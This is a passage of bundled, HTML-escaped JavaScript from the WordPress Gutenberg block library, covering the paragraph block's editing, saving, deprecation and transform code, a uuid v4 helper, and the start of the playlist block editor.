          [fontSizeClass]: fontSizeClass,
          [textClass]: textClass,
          [backgroundClass]: backgroundClass
        });
        const styles = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor,
          fontSize: fontSizeClass ? void 0 : customFontSize,
          textAlign: align
        };
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(
          import_block_editor171.RichText.Content,
          {
            tagName: &quot;p&quot;,
            style: styles,
            className: className ? className : void 0,
            value: content
          }
        );
      }
    },
    {
      supports,
      attributes: {
        ...restBlockAttributes,
        fontSize: {
          type: &quot;number&quot;
        }
      },
      save({ attributes: attributes2 }) {
        const {
          width,
          align,
          content,
          dropCap,
          backgroundColor,
          textColor,
          fontSize
        } = attributes2;
        const className = clsx_default({
          [`align${width}`]: width,
          &quot;has-background&quot;: backgroundColor,
          &quot;has-drop-cap&quot;: dropCap
        });
        const styles = {
          backgroundColor,
          color: textColor,
          fontSize,
          textAlign: align
        };
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(
          &quot;p&quot;,
          {
            style: styles,
            className: className ? className : void 0,
            children: content
          }
        );
      },
      migrate(attributes2) {
        return migrateCustomColorsAndFontSizes(
          migrateTextAlign2({
            ...attributes2,
            customFontSize: Number.isFinite(attributes2.fontSize) ? attributes2.fontSize : void 0,
            customTextColor: attributes2.textColor &amp;&amp; &quot;#&quot; === attributes2.textColor[0] ? attributes2.textColor : void 0,
            customBackgroundColor: attributes2.backgroundColor &amp;&amp; &quot;#&quot; === attributes2.backgroundColor[0] ? attributes2.backgroundColor : void 0
          })
        );
      }
    },
    {
      supports,
      attributes: {
        ...blockAttributes5,
        content: {
          type: &quot;string&quot;,
          source: &quot;html&quot;,
          default: &quot;&quot;
        }
      },
      save({ attributes: attributes2 }) {
        return /* @__PURE__ */ (0, import_jsx_runtime350.jsx)(import_element86.RawHTML, { children: attributes2.content });
      },
      migrate: (attributes2) =&gt; attributes2
    }
  ];
  var deprecated_default29 = deprecated12;

  // packages/block-library/build-module/paragraph/edit.mjs
  var import_i18n153 = __toESM(require_i18n(), 1);
  var import_components101 = __toESM(require_components(), 1);
  var import_block_editor174 = __toESM(require_block_editor(), 1);
  var import_blocks74 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/paragraph/use-enter.mjs
  var import_element87 = __toESM(require_element(), 1);
  var import_compose40 = __toESM(require_compose(), 1);
  var import_keycodes7 = __toESM(require_keycodes(), 1);
  var import_data95 = __toESM(require_data(), 1);
  var import_block_editor172 = __toESM(require_block_editor(), 1);
  var import_blocks73 = __toESM(require_blocks(), 1);
  function useOnEnter(props) {
    const { batch } = (0, import_data95.useRegistry)();
    const {
      moveBlocksToPosition,
      replaceInnerBlocks,
      duplicateBlocks,
      insertBlock
    } = (0, import_data95.useDispatch)(import_block_editor172.store);
    const {
      getBlockRootClientId,
      getBlockIndex,
      getBlockOrder,
      getBlockName,
      getBlock,
      getNextBlockClientId,
      canInsertBlockType
    } = (0, import_data95.useSelect)(import_block_editor172.store);
    const propsRef = (0, import_element87.useRef)(props);
    propsRef.current = props;
    return (0, import_compose40.useRefEffect)((element) =&gt; {
      function onKeyDown(event) {
        if (event.defaultPrevented) {
          return;
        }
        if (event.keyCode !== import_keycodes7.ENTER) {
          return;
        }
        const { content, clientId } = propsRef.current;
        if (content.length) {
          return;
        }
        const wrapperClientId = getBlockRootClientId(clientId);
        if (!(0, import_blocks73.hasBlockSupport)(
          getBlockName(wrapperClientId),
          &quot;__experimentalOnEnter&quot;,
          false
        )) {
          return;
        }
        const order = getBlockOrder(wrapperClientId);
        const position = order.indexOf(clientId);
        if (position === order.length - 1) {
          let newWrapperClientId = wrapperClientId;
          while (!canInsertBlockType(
            getBlockName(clientId),
            getBlockRootClientId(newWrapperClientId)
          )) {
            newWrapperClientId = getBlockRootClientId(newWrapperClientId);
          }
          if (typeof newWrapperClientId === &quot;string&quot;) {
            event.preventDefault();
            moveBlocksToPosition(
              [clientId],
              wrapperClientId,
              getBlockRootClientId(newWrapperClientId),
              getBlockIndex(newWrapperClientId) + 1
            );
          }
          return;
        }
        const defaultBlockName = (0, import_blocks73.getDefaultBlockName)();
        if (!canInsertBlockType(
          defaultBlockName,
          getBlockRootClientId(wrapperClientId)
        )) {
          return;
        }
        event.preventDefault();
        const wrapperBlock = getBlock(wrapperClientId);
        batch(() =&gt; {
          duplicateBlocks([wrapperClientId]);
          const blockIndex = getBlockIndex(wrapperClientId);
          replaceInnerBlocks(
            wrapperClientId,
            wrapperBlock.innerBlocks.slice(0, position)
          );
          replaceInnerBlocks(
            getNextBlockClientId(wrapperClientId),
            wrapperBlock.innerBlocks.slice(position + 1)
          );
          insertBlock(
            (0, import_blocks73.createBlock)(defaultBlockName),
            blockIndex + 1,
            getBlockRootClientId(wrapperClientId),
            true
          );
        });
      }
      element.addEventListener(&quot;keydown&quot;, onKeyDown);
      return () =&gt; {
        element.removeEventListener(&quot;keydown&quot;, onKeyDown);
      };
    }, []);
  }

  // packages/block-library/build-module/paragraph/deprecated-attributes.mjs
  var import_compose41 = __toESM(require_compose(), 1);
  var import_element88 = __toESM(require_element(), 1);
  var import_deprecated31 = __toESM(require_deprecated(), 1);
  var import_data96 = __toESM(require_data(), 1);
  var import_block_editor173 = __toESM(require_block_editor(), 1);
  function useDeprecatedAlign(align, style2, setAttributes) {
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data96.useDispatch)(import_block_editor173.store);
    const updateStyleWithAlign = (0, import_compose41.useEvent)(() =&gt; {
      (0, import_deprecated31.default)(&quot;align attribute in paragraph block&quot;, {
        alternative: &quot;style.typography.textAlign&quot;,
        since: &quot;7.0&quot;
      });
      __unstableMarkNextChangeAsNotPersistent();
      setAttributes({
        style: {
          ...style2,
          typography: {
            ...style2?.typography,
            textAlign: align
          }
        }
      });
    });
    const lastUpdatedAlignRef = (0, import_element88.useRef)();
    (0, import_element88.useEffect)(() =&gt; {
      if (align === &quot;full&quot; || align === &quot;wide&quot; || align === lastUpdatedAlignRef.current) {
        return;
      }
      lastUpdatedAlignRef.current = align;
      updateStyleWithAlign();
    }, [align, updateStyleWithAlign]);
  }

  // packages/block-library/build-module/paragraph/edit.mjs
  var import_jsx_runtime351 = __toESM(require_jsx_runtime(), 1);
  function ParagraphRTLControl({ direction, setDirection }) {
    return (0, import_i18n153.isRTL)() &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
      import_components101.ToolbarButton,
      {
        icon: format_ltr_default,
        title: (0, import_i18n153._x)(&quot;Left to right&quot;, &quot;editor button&quot;),
        isActive: direction === &quot;ltr&quot;,
        onClick: () =&gt; {
          setDirection(direction === &quot;ltr&quot; ? void 0 : &quot;ltr&quot;);
        }
      }
    );
  }
  function hasDropCapDisabled(align) {
    return align === ((0, import_i18n153.isRTL)() ? &quot;left&quot; : &quot;right&quot;) || align === &quot;center&quot;;
  }
  function DropCapControl({ clientId, attributes: attributes2, setAttributes, name: name123 }) {
    const [isDropCapFeatureEnabled] = (0, import_block_editor174.useSettings)(&quot;typography.dropCap&quot;);
    if (!isDropCapFeatureEnabled) {
      return null;
    }
    const { style: style2, dropCap } = attributes2;
    const textAlign = style2?.typography?.textAlign;
    let helpText;
    if (hasDropCapDisabled(textAlign)) {
      helpText = (0, import_i18n153.__)(&quot;Not available for aligned text.&quot;);
    } else if (dropCap) {
      helpText = (0, import_i18n153.__)(&quot;Showing large initial letter.&quot;);
    } else {
      helpText = (0, import_i18n153.__)(&quot;Show a large initial letter.&quot;);
    }
    const isDropCapControlEnabledByDefault = (0, import_blocks74.getBlockSupport)(
      name123,
      &quot;typography.defaultControls.dropCap&quot;,
      false
    );
    return /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(import_block_editor174.InspectorControls, { group: &quot;typography&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
      import_components101.__experimentalToolsPanelItem,
      {
        hasValue: () =&gt; !!dropCap,
        label: (0, import_i18n153.__)(&quot;Drop cap&quot;),
        isShownByDefault: isDropCapControlEnabledByDefault,
        onDeselect: () =&gt; setAttributes({ dropCap: false }),
        resetAllFilter: () =&gt; ({ dropCap: false }),
        panelId: clientId,
        children: /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
          import_components101.ToggleControl,
          {
            label: (0, import_i18n153.__)(&quot;Drop cap&quot;),
            checked: !!dropCap,
            onChange: () =&gt; setAttributes({ dropCap: !dropCap }),
            help: helpText,
            disabled: hasDropCapDisabled(textAlign)
          }
        )
      }
    ) });
  }
  function ParagraphBlock({
    attributes: attributes2,
    mergeBlocks,
    onReplace,
    onRemove,
    setAttributes,
    clientId,
    isSelected: isSingleSelected,
    name: name123
  }) {
    const { content, direction, dropCap, placeholder: placeholder2, style: style2 } = attributes2;
    const textAlign = style2?.typography?.textAlign;
    useDeprecatedAlign(attributes2.align, style2, setAttributes);
    const blockProps = (0, import_block_editor174.useBlockProps)({
      ref: useOnEnter({ clientId, content }),
      className: clsx_default({
        &quot;has-drop-cap&quot;: hasDropCapDisabled(textAlign) ? false : dropCap
      }),
      style: { direction }
    });
    const blockEditingMode = (0, import_block_editor174.useBlockEditingMode)();
    return /* @__PURE__ */ (0, import_jsx_runtime351.jsxs)(import_jsx_runtime351.Fragment, { children: [
      blockEditingMode === &quot;default&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(import_block_editor174.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
        ParagraphRTLControl,
        {
          direction,
          setDirection: (newDirection) =&gt; setAttributes({ direction: newDirection })
        }
      ) }),
      isSingleSelected &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
        DropCapControl,
        {
          name: name123,
          clientId,
          attributes: attributes2,
          setAttributes
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime351.jsx)(
        import_block_editor174.RichText,
        {
          identifier: &quot;content&quot;,
          tagName: &quot;p&quot;,
          ...blockProps,
          value: content,
          onChange: (newContent) =&gt; setAttributes({ content: newContent }),
          onMerge: mergeBlocks,
          onReplace,
          onRemove,
          &quot;aria-label&quot;: import_block_editor174.RichText.isEmpty(content) ? (0, import_i18n153.__)(
            &quot;Empty block; start writing or type forward slash to choose a block&quot;
          ) : (0, import_i18n153.__)(&quot;Block: Paragraph&quot;),
          &quot;data-empty&quot;: import_block_editor174.RichText.isEmpty(content),
          placeholder: placeholder2 || (0, import_i18n153.__)(&quot;Type / to choose a block&quot;),
          &quot;data-custom-placeholder&quot;: placeholder2 ? true : void 0,
          __unstableEmbedURLOnPaste: true,
          __unstableAllowPrefixTransformations: true
        }
      )
    ] });
  }
  var edit_default22 = ParagraphBlock;

  // packages/block-library/build-module/paragraph/block.json
  var block_default62 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/paragraph&quot;,
    title: &quot;Paragraph&quot;,
    category: &quot;text&quot;,
    description: &quot;Start with the basic building block of all narrative.&quot;,
    keywords: [&quot;text&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;p&quot;,
        role: &quot;content&quot;
      },
      dropCap: {
        type: &quot;boolean&quot;,
        default: false
      },
      placeholder: {
        type: &quot;string&quot;
      },
      direction: {
        type: &quot;string&quot;,
        enum: [&quot;ltr&quot;, &quot;rtl&quot;]
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      splitting: true,
      anchor: true,
      className: false,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        textColumns: true,
        textIndent: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalWritingMode: true,
        fitText: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalSelector: &quot;p&quot;,
      __unstablePasteTextInline: true,
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      root: &quot;p&quot;,
      typography: {
        textIndent: &quot;.wp-block-paragraph + .wp-block-paragraph&quot;
      }
    },
    editorStyle: &quot;wp-block-paragraph-editor&quot;,
    style: &quot;wp-block-paragraph&quot;
  };

  // packages/block-library/build-module/paragraph/save.mjs
  var import_block_editor175 = __toESM(require_block_editor(), 1);
  var import_i18n154 = __toESM(require_i18n(), 1);
  var import_jsx_runtime352 = __toESM(require_jsx_runtime(), 1);
  function save37({ attributes: attributes2 }) {
    const { content, dropCap, direction, style: style2 } = attributes2;
    const textAlign = style2?.typography?.textAlign;
    const className = clsx_default({
      &quot;has-drop-cap&quot;: textAlign === ((0, import_i18n154.isRTL)() ? &quot;left&quot; : &quot;right&quot;) || textAlign === &quot;center&quot; ? false : dropCap
    });
    return /* @__PURE__ */ (0, import_jsx_runtime352.jsx)(&quot;p&quot;, { ...import_block_editor175.useBlockProps.save({ className, dir: direction }), children: /* @__PURE__ */ (0, import_jsx_runtime352.jsx)(import_block_editor175.RichText.Content, { value: content }) });
  }

  // packages/block-library/build-module/paragraph/transforms.mjs
  var import_blocks75 = __toESM(require_blocks(), 1);
  var { name: name62 } = block_default62;
  var transforms21 = {
    from: [
      {
        type: &quot;raw&quot;,
        // Paragraph is a fallback and should be matched last.
        priority: 20,
        selector: &quot;p&quot;,
        schema: ({ phrasingContentSchema, isPaste }) =&gt; ({
          p: {
            children: phrasingContentSchema,
            attributes: isPaste ? [] : [&quot;style&quot;, &quot;id&quot;]
          }
        }),
        transform(node) {
          const attributes2 = (0, import_blocks75.getBlockAttributes)(name62, node.outerHTML);
          const { textAlign } = node.style || {};
          if (textAlign === &quot;left&quot; || textAlign === &quot;center&quot; || textAlign === &quot;right&quot;) {
            attributes2.style = {
              ...attributes2.style,
              typography: {
                ...attributes2.style?.typography,
                textAlign
              }
            };
          }
          return (0, import_blocks75.createBlock)(name62, attributes2);
        }
      }
    ]
  };
  var transforms_default22 = transforms21;

  // packages/block-library/build-module/paragraph/index.mjs
  var { fieldsKey: fieldsKey14, formKey: formKey14 } = unlock(import_blocks76.privateApis);
  var { name: name63 } = block_default62;
  var settings62 = {
    icon: paragraph_default,
    example: {
      attributes: {
        content: (0, import_i18n155.__)(
          &quot;In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing.&quot;
        )
      }
    },
    __experimentalLabel(attributes2, { context }) {
      const customName = attributes2?.metadata?.name;
      if ((context === &quot;list-view&quot; || context === &quot;breadcrumb&quot;) &amp;&amp; customName) {
        return customName;
      }
      if (context === &quot;accessibility&quot;) {
        if (customName) {
          return customName;
        }
        const { content } = attributes2;
        return !content || content.length === 0 ? (0, import_i18n155.__)(&quot;Empty&quot;) : content;
      }
    },
    transforms: transforms_default22,
    deprecated: deprecated_default29,
    merge(attributes2, attributesToMerge) {
      return {
        content: (attributes2.content || &quot;&quot;) + (attributesToMerge.content || &quot;&quot;)
      };
    },
    edit: edit_default22,
    save: save37
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings62[fieldsKey14] = [
      {
        id: &quot;content&quot;,
        label: (0, import_i18n155.__)(&quot;Content&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings62[formKey14] = {
      fields: [&quot;content&quot;]
    };
  }
  var init62 = () =&gt; initBlock({ name: name63, metadata: block_default62, settings: settings62 });

  // packages/block-library/build-module/playlist/index.mjs
  var playlist_exports = {};
  __export(playlist_exports, {
    init: () =&gt; init63,
    metadata: () =&gt; block_default63,
    name: () =&gt; name64,
    settings: () =&gt; settings63
  });

  // packages/block-library/build-module/playlist/block.json
  var block_default63 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: true,
    name: &quot;core/playlist&quot;,
    title: &quot;Playlist&quot;,
    category: &quot;media&quot;,
    description: &quot;Embed a simple playlist.&quot;,
    keywords: [&quot;music&quot;, &quot;sound&quot;],
    textdomain: &quot;default&quot;,
    allowedBlocks: [&quot;core/playlist-track&quot;],
    attributes: {
      currentTrack: {
        type: &quot;string&quot;
      },
      type: {
        type: &quot;string&quot;,
        default: &quot;audio&quot;
      },
      order: {
        type: &quot;string&quot;,
        default: &quot;asc&quot;
      },
      showTracklist: {
        type: &quot;boolean&quot;,
        default: true
      },
      showImages: {
        type: &quot;boolean&quot;,
        default: true
      },
      showArtists: {
        type: &quot;boolean&quot;,
        default: true
      },
      showNumbers: {
        type: &quot;boolean&quot;,
        default: true
      },
      caption: {
        type: &quot;string&quot;
      }
    },
    providesContext: {
      showArtists: &quot;showArtists&quot;,
      currentTrack: &quot;currentTrack&quot;
    },
    supports: {
      anchor: true,
      align: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      interactivity: true,
      spacing: {
        margin: true,
        padding: true
      }
    },
    editorStyle: &quot;wp-block-playlist-editor&quot;,
    style: &quot;wp-block-playlist&quot;
  };

  // node_modules/uuid/dist/esm-browser/rng.js
  var getRandomValues;
  var rnds8 = new Uint8Array(16);
  function rng() {
    if (!getRandomValues) {
      getRandomValues = typeof crypto !== &quot;undefined&quot; &amp;&amp; crypto.getRandomValues &amp;&amp; crypto.getRandomValues.bind(crypto);
      if (!getRandomValues) {
        throw new Error(&quot;crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported&quot;);
      }
    }
    return getRandomValues(rnds8);
  }

  // node_modules/uuid/dist/esm-browser/stringify.js
  var byteToHex = [];
  for (let i2 = 0; i2 &lt; 256; ++i2) {
    byteToHex.push((i2 + 256).toString(16).slice(1));
  }
  function unsafeStringify(arr, offset = 0) {
    return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + &quot;-&quot; + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + &quot;-&quot; + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + &quot;-&quot; + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + &quot;-&quot; + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
  }

  // node_modules/uuid/dist/esm-browser/native.js
  var randomUUID = typeof crypto !== &quot;undefined&quot; &amp;&amp; crypto.randomUUID &amp;&amp; crypto.randomUUID.bind(crypto);
  var native_default = {
    randomUUID
  };

  // node_modules/uuid/dist/esm-browser/v4.js
  function v47(options2, buf, offset) {
    if (native_default.randomUUID &amp;&amp; !buf &amp;&amp; !options2) {
      return native_default.randomUUID();
    }
    options2 = options2 || {};
    const rnds = options2.random || (options2.rng || rng)();
    rnds[6] = rnds[6] &amp; 15 | 64;
    rnds[8] = rnds[8] &amp; 63 | 128;
    if (buf) {
      offset = offset || 0;
      for (let i2 = 0; i2 &lt; 16; ++i2) {
        buf[offset + i2] = rnds[i2];
      }
      return buf;
    }
    return unsafeStringify(rnds);
  }
  var v4_default = v47;

  // packages/block-library/build-module/playlist/edit.mjs
  var import_element89 = __toESM(require_element(), 1);
  var import_block_editor176 = __toESM(require_block_editor(), 1);
  var import_components102 = __toESM(require_components(), 1);
  var import_data97 = __toESM(require_data(), 1);
  var import_notices14 = __toESM(require_notices(), 1);
  var import_i18n156 = __toESM(require_i18n(), 1);
  var import_dom9 = __toESM(require_dom(), 1);
  var import_blocks77 = __toESM(require_blocks(), 1);
  var import_jsx_runtime353 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_MEDIA_TYPES6 = [&quot;audio&quot;];
  var CurrentTrack = ({ track, showImages, onTrackEnd }) =&gt; {
    const trackTitle = {
      dangerouslySetInnerHTML: {
        __html: (0, import_dom9.safeHTML)(track?.title ? track.title : (0, import_i18n156.__)(&quot;Untitled&quot;))
      }
    };
    const trackArtist = {
      dangerouslySetInnerHTML: {
        __html: (0, import_dom9.safeHTML)(
          track?.artist ? track.artist : (0, import_i18n156.__)(&quot;Unknown artist&quot;)
        )
      }
    };
    const trackAlbum = {
      dangerouslySetInnerHTML: {
        __html: (0, import_dom9.safeHTML)(
          track?.album ? track.album : (0, import_i18n156.__)(&quot;Unknown album&quot;)
        )
      }
    };
    let ariaLabel;
    if (track?.title &amp;&amp; track?.artist &amp;&amp; track?.album) {
      ariaLabel = (0, import_dom9.__unstableStripHTML)(
        (0, import_i18n156.sprintf)(
          /* translators: %1$s: track title, %2$s artist name, %3$s: album name. */
          (0, import_i18n156._x)(
            &quot;%1$s by %2$s from the album %3$s&quot;,
            &quot;track title, artist name, album name&quot;
          ),
          track?.title,
          track?.artist,
          track?.album
        )
      );
    } else if (track?.title) {
      ariaLabel = (0, import_dom9.__unstableStripHTML)(track.title);
    } else {
      ariaLabel = (0, import_dom9.__unstableStripHTML)((0, import_i18n156.__)(&quot;Untitled&quot;));
    }
    return /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(import_jsx_runtime353.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(&quot;div&quot;, { className: &quot;wp-block-playlist__current-item&quot;, children: [
        showImages &amp;&amp; track?.image &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
          &quot;img&quot;,
          {
            className: &quot;wp-block-playlist__item-image&quot;,
            src: track.image,
            alt: &quot;&quot;,
            width: &quot;70px&quot;,
            height: &quot;70px&quot;
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(&quot;div&quot;, { children: [
          !track?.title ? /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(&quot;span&quot;, { className: &quot;wp-block-playlist__item-title&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_components102.Spinner, {}) }) : /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
            &quot;span&quot;,
            {
              className: &quot;wp-block-playlist__item-title&quot;,
              ...trackTitle
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime353.jsxs)(&quot;div&quot;, { className: &quot;wp-block-playlist__current-item-artist-album&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              &quot;span&quot;,
              {
                className: &quot;wp-block-playlist__item-artist&quot;,
                ...trackArtist
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
              &quot;span&quot;,
              {
                className: &quot;wp-block-playlist__item-album&quot;,
                ...trackAlbum
              }
            )
          ] })
        ] })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
        &quot;audio&quot;,
        {
          controls: &quot;controls&quot;,
          src: track?.url ? track.url : &quot;&quot;,
          onEnded: onTrackEnd,
          &quot;aria-label&quot;: ariaLabel,
          tabIndex: 0
        }
      )
    ] });
  };
  var PlaylistEdit = ({
    attributes: attributes2,
    setAttributes,
    isSelected,
    insertBlocksAfter,
    clientId
  }) =&gt; {
    const {
      order,
      showTracklist,
      showNumbers,
      showImages,
      showArtists,
      currentTrack
    } = attributes2;
    const [trackListIndex, setTrackListIndex] = (0, import_element89.useState)(0);
    const blockProps = (0, import_block_editor176.useBlockProps)();
    const { replaceInnerBlocks, __unstableMarkNextChangeAsNotPersistent } = (0, import_data97.useDispatch)(import_block_editor176.store);
    const { createErrorNotice } = (0, import_data97.useDispatch)(import_notices14.store);
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    function onUploadError(message) {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
    }
    const { updateBlockAttributes } = (0, import_data97.useDispatch)(import_block_editor176.store);
    const { innerBlockTracks } = (0, import_data97.useSelect)(
      (select9) =&gt; {
        const { getBlock: _getBlock } = select9(import_block_editor176.store);
        return {
          innerBlockTracks: _getBlock(clientId)?.innerBlocks ?? []
        };
      },
      [clientId]
    );
    (0, import_element89.useEffect)(() =&gt; {
      const seen = /* @__PURE__ */ new Set();
      let hasDuplicates = false;
      const updatedBlocks = innerBlockTracks.map((block) =&gt; {
        if (seen.has(block.attributes.uniqueId)) {
          hasDuplicates = true;
          return {
            ...block,
            attributes: {
              ...block.attributes,
              uniqueId: v4_default()
            }
          };
        }
        seen.add(block.attributes.uniqueId);
        return block;
      });
      if (hasDuplicates) {
        replaceInnerBlocks(clientId, updatedBlocks);
      }
    }, [innerBlockTracks, clientId, replaceInnerBlocks]);
    const validTracks = innerBlockTracks.filter(
      (block) =&gt; !!block.attributes.uniqueId
    );
    const tracks = validTracks.map((block) =&gt; block.attributes);
    const firstTrackId = validTracks[0]?.attributes?.uniqueId;
    (0, import_element89.useEffect)(() =&gt; {
      if (tracks.length === 0) {
        if (currentTrack !== null) {
          updateBlockAttributes(clientId, { currentTrack: null });
        }
      } else if (
        // If the currentTrack is not the first track, update it to the first track.
        firstTrackId &amp;&amp; firstTrackId !== currentTrack
      ) {
        updateBlockAttributes(clientId, { currentTrack: firstTrackId });
      }
    }, [
      tracks,
      currentTrack,
      firstTrackId,
      clientId,
      updateBlockAttributes
    ]);
    const onSelectTracks = (0, import_element89.useCallback)(
      (media) =&gt; {
        if (!media) {
          return;
        }
        if (!Array.isArray(media)) {
          media = [media];
        }
        const trackAttributes = (track) =&gt; ({
          id: track.id || track.url,
          // Attachment ID or URL.
          uniqueId: v4_default(),
          // Unique ID for the track.
          src: track.url,
          title: track.title,
          artist: track.artist || track?.meta?.artist || track?.media_details?.artist || (0, import_i18n156.__)(&quot;Unknown artist&quot;),
          album: track.album || track?.meta?.album || track?.media_details?.album || (0, import_i18n156.__)(&quot;Unknown album&quot;),
          length: track?.fileLength || track?.media_details?.length_formatted,
          // Prevent using the default media attachment icon as the track image.
          // Note: Image is not available when a new track is uploaded.
          image: track?.image?.src &amp;&amp; track?.image?.src.endsWith(&quot;/images/media/audio.svg&quot;) ? &quot;&quot; : track?.image?.src
        });
        const trackList = media.map(trackAttributes);
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          currentTrack: trackList.length &gt; 0 ? trackList[0].uniqueId : null
        });
        const newBlocks = trackList.map(
          (track) =&gt; (0, import_blocks77.createBlock)(&quot;core/playlist-track&quot;, track)
        );
        replaceInnerBlocks(clientId, newBlocks);
      },
      [
        __unstableMarkNextChangeAsNotPersistent,
        setAttributes,
        replaceInnerBlocks,
        clientId
      ]
    );
    const onTrackEnd = (0, import_element89.useCallback)(() =&gt; {
      if (trackListIndex &lt; tracks.length - 1) {
        if (tracks[trackListIndex + 1]?.uniqueId) {
          setTrackListIndex(trackListIndex + 1);
          setAttributes({
            currentTrack: tracks[trackListIndex + 1].uniqueId
          });
        }
      } else {
        setTrackListIndex(0);
        if (tracks[0].uniqueId) {
          setAttributes({ currentTrack: tracks[0].uniqueId });
        } else if (tracks.length &gt; 0) {
          const validTrack = tracks.find(
            (track) =&gt; track.uniqueId !== void 0
          );
          if (validTrack) {
            setAttributes({ currentTrack: validTrack.uniqueId });
          }
        }
      }
    }, [setAttributes, trackListIndex, tracks]);
    const onChangeOrder = (0, import_element89.useCallback)(
      (trackOrder) =&gt; {
        const sortedBlocks = [...innerBlockTracks].sort((a2, b2) =&gt; {
          const titleA = a2.attributes.title || &quot;&quot;;
          const titleB = b2.attributes.title || &quot;&quot;;
          if (trackOrder === &quot;asc&quot;) {
            return titleA.localeCompare(titleB);
          }
          return titleB.localeCompare(titleA);
        });
        const sortedTracks = sortedBlocks.map(
          (block) =&gt; block.attributes
        );
        replaceInnerBlocks(clientId, sortedBlocks);
        setAttributes({
          order: trackOrder,
          currentTrack: sortedTracks.length &gt; 0 &amp;&amp; sortedTracks[0].uniqueId !== currentTrack ? sortedTracks[0].uniqueId : currentTrack
        });
      },
      [
        clientId,
        currentTrack,
        innerBlockTracks,
        replaceInnerBlocks,
        setAttributes
      ]
    );
    function toggleAttribute(attribute) {
      return (newValue) =&gt; {
        setAttributes({ [attribute]: newValue });
      };
    }
    const hasSelectedChild = (0, import_data97.useSelect)(
      (select9) =&gt; select9(import_block_editor176.store).hasSelectedInnerBlock(clientId),
      [clientId]
    );
    const hasAnySelected = isSelected || hasSelectedChild;
    const innerBlocksProps = (0, import_block_editor176.useInnerBlocksProps)(blockProps, {
      __experimentalAppenderTagName: &quot;li&quot;,
      renderAppender: hasAnySelected &amp;&amp; import_block_editor176.InnerBlocks.ButtonBlockAppender
    });
    if (!tracks || Array.isArray(tracks) &amp;&amp; tracks.length === 0) {
      return /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
        &quot;div&quot;,
        {
          ...blockProps,
          className: clsx_default(&quot;is-placeholder&quot;, blockProps.className),
          children: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(
            import_block_editor176.MediaPlaceholder,
            {
              icon: /* @__PURE__ */ (0, import_jsx_runtime353.jsx)(import_block_editor176.BlockIcon, { icon: audio_default }),
              labels: {
                title: (0, import_i18n156.__)(&quot;Playlist&quot;),
                instructions: (0, import_i18n156.__)(
                  &quot;Upload an audio file or pick one from your media library.&quot;
                )
              },
              onSelect: onSelectTracks,
              accept: &quot;audio/*&quot;,
              multiple: true,
